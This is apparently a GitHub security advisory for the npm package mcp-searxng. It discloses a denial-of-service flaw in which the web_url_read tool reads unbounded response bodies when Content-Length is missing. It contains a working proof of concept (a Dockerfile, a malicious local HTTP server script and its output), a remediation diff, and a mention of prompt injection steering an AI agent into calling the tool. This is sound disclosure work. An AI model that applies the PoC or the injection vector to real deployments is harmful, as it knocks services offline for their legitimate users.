GitHub Advisoryadvisory · npm
GHSA-xcqx-9jf5-w339 SearXNG MCP Server: Unbounded Response Body Read Bypasses URL Size Limit in `web_url_read`
HIGH
Official page ↗
- Ecosystem
- npm
- Packages
- mcp-searxng
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-400
- Reviewed
- 2026-06-19
Affected packages
• npm mcp-searxng: < 1.7.1 → fixed in 1.7.1
Description
Unbounded Response Body Read Bypasses URL Size Limit in `web_url_read`
Summary
The `web_url_read` MCP tool in mcp-searxng enforces its 5 MiB response-size limit exclusively by inspecting the `Content-Length` header of a preliminary HEAD request. When a server omits `Content-Length` — a standard HTTP practice — `checkContentLength()` returns `null`, the guard condition short-circuits to `false`, and `response.text()` loads the entire response body into memory without any byte cap. An unauthenticated attacker who controls or can redirect to an HTTP endpoint can force the server process to consume unbounded memory and CPU, leading to a Denial of Service.
Details
`web_url_read` is the entry point (`src/index.ts:226-240`). It passes the caller-supplied URL directly into `readUrlContent()` in `src/url-reader.ts`.
Size-limit check (bypassed)
```ts
// src/url-reader.ts:352-360
const contentLength = await checkContentLength(...);
if (contentLength !== null && contentLength > maxContentLengthBytes) {
return createContentTooLargeMessage(contentLength, maxContentLengthBytes);
}
```
`checkContentLength()` (`src/url-reader.ts:243-245`) returns `null` when the HEAD response carries no `Content-Length` header. Because the guard uses the `!== null` conjunction, a `null` result causes the entire check to evaluate as `false`, and execution falls through without enforcing the configured 5 MiB ceiling.
Unbounded sinks
A full GET request is then issued (`src/url-reader.ts:367`) with no streaming byte cap:
```ts
// src/url-reader.ts:414 — normal response path
htmlContent = await response.text();
// src/url-reader.ts:402 — error response path (same issue)
responseBody = await response.text();
```
The full HTML string is subsequently passed to `NodeHtmlMarkdown.translate()` (`src/url-reader.ts:429`), which amplifies CPU consumption proportional to the body size.
Default exposure
`web_url_read` is enabled by default. In HTTP transport mode, authentication is disabled by default, so `AV:N/PR:N` applies unconditionally. In stdio mode, an attacker can trigger the path via prompt injection to cause the AI model to call the tool with an attacker-controlled URL.
PoC
Prerequisites
• Docker installed.
• Build context: the repository root (`npmAI_249_ihor-sokoliuk__mcp-searxng/`).
Build the image
```bash
docker build \
-t vuln002-test \
-f vuln-002/Dockerfile \
reports/npmAI_249_ihor-sokoliuk__mcp-searxng/
```
Run the PoC
```bash
docker run --rm vuln002-test
```
The container starts two processes:
1. A malicious HTTP server on `127.0.0.1:9799` that responds to HEAD with HTTP 200 and no `Content-Length`, then responds to GET with a 6,291,456-byte HTML body and no `Content-Length`.
2. mcp-searxng in HTTP mode (`MCP_HTTP_ALLOW_PRIVATE_URLS=true` enables loopback URLs for local reproduction).
The PoC script initializes an MCP session and calls:
```json
{
"method": "tools/call",
"params": {
"name": "web_url_read",
"arguments": { "url": "http://127.0.0.1:9799/", "maxLength": 1 }
}
}
```
Observed output (Phase 2 confirmation)
```
HEAD_REQUESTS : 1
GET_REQUESTS : 1
GET_BYTES_SENT : 6,291,456
CONFIGURED_DEFAULT_LIMIT : 5,242,880
BYTES_OVER_LIMIT : +1,048,576
ELAPSED_SEC : 0.17
TOOL_STATUS : SUCCESS
RETURNED_LENGTH_CHARS : 1
[PASS] VULNERABILITY CONFIRMED
6,291,456 bytes were transmitted to mcp-searxng despite a 5,242,880-byte (5 MiB) limit.
Root cause confirmed:
1. HEAD response had no Content-Length header.
2. checkContentLength() returned null (url-reader.ts:243-245)
3. Guard condition was false (null !== null => false) (url-reader.ts:359)
4. response.text() read 6,291,456 bytes without a cap (url-reader.ts:414)
```
Remediation
Replace both `response.text()` calls with a streaming reader that aborts once the byte counter exceeds `maxContentLengthBytes`:
```diff
+async function readResponseTextWithLimit(response: Response, maxBytes: number): Promise {
+ if (!response.body) return response.text();
+ const reader = response.body.getReader();
+ const decoder = new TextDecoder();
+ const chunks: string[] = [];
+ let total = 0;
+ while (true) {
+ const { done, value } = await reader.read();
+ if (done) break;
+ total += value.byteLength;
+ if (total > maxBytes) { await reader.cancel(); return null; }
+ chunks.push(decoder.decode(value, { stream: true }));
+ }
+ chunks.push(decoder.decode());
+ return chunks.join("");
+}
• responseBody = await response.text();
+ responseBody = await readResponseTextWithLimit(response, maxContentLengthBytes)
+ ?? "[Response body exceeded configured size limit]";
• htmlContent = await response.text();
+ const limitedBody = await readResponseTextWithLimit(response, maxContentLengthBytes);
+ if (limitedBody === null) {
+ return createContentTooLargeMessage(maxContentLengthBytes + 1, maxContentLengthBytes);
+ }
+ htmlContent = limitedBody;
```
Impact
This is an Uncontrolled Resource Consumption (DoS) vulnerability. Any network-reachable attacker who can supply a URL to the `web_url_read` tool can force the mcp-searxng process to allocate memory proportional to an arbitrarily large HTTP response body and burn CPU during HTML-to-Markdown conversion. The attack requires no authentication in the default HTTP transport configuration. In stdio mode, the attack surface is accessible through prompt injection targeting the AI agent. Repeated or concurrent invocations can exhaust process memory and render the MCP server unavailable to all legitimate users.
Reproduction artifacts
`Dockerfile`
```dockerfile
FROM node:20-slim
Install Python3 for the PoC script
RUN apt-get update && apt-get install -y --no-install-recommends python3 \
&& rm -rf /var/lib/apt/lists/*
Copy repository source and build the vulnerable mcp-searxng
Build context: parent directory (npmAI_249_ihor-sokoliuk__mcp-searxng/)
WORKDIR /app
COPY repo/ /app/
RUN npm ci && npm run build
Copy the PoC script
COPY vuln-002/poc.py /poc.py
Run the dynamic reproduction PoC
CMD ["python3", "-u", "/poc.py"]
```
`poc.py`
```python
!/usr/bin/env python3
"""
PoC for VULN-002: Unbounded Response Body Read Bypasses URL Size Limit (CWE-400)
Affected: ihor-sokoliuk/mcp-searxng v1.6.0
File: src/url-reader.ts:414 (response.text())
CWE: CWE-400 Uncontrolled Resource Consumption
CVSS: 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Root cause:
checkContentLength() at src/url-reader.ts:243-245 returns null when the
server sends no Content-Length header. The guard at line 359:
if (contentLength !== null && contentLength > maxContentLengthBytes)
evaluates to false (null !== null => false), so the check is skipped.
response.text() at line 414 then reads the full body without any byte cap.
Reproduction:
1. Malicious HTTP server (this process, port 9799):
HEAD => 200, Content-Type only, NO Content-Length
GET => 200, 6+ MiB HTML body, NO Content-Length
2. mcp-searxng (subprocess, HTTP mode, port 3000):
MCP_HTTP_ALLOW_PRIVATE_URLS=true -- allows 127.x for local PoC
3. This script initializes an MCP session, calls web_url_read pointing
at the malicious server, and measures actual bytes transmitted.
Expected evidence:
GET_BYTES_SENT > CONFIGURED_DEFAULT_LIMIT (5242880)
=> The 5 MiB guard was bypassed; full body was consumed without a cap.
"""
import json
import os
import socket
import subprocess
import sys
import threading
import time
import urllib.error
import urllib.request
from http.server import BaseHTTPRequestHandler, HTTPServer
---------------------------------------------------------------------------
Constants
---------------------------------------------------------------------------
DEFAULT_MAX_CONTENT_LENGTH = 5 * 1024 * 1024 # 5 MiB (same as sr…
Related
Weakness · CWE (1)
- CWE-400 Uncontrolled Resource Consumption weakness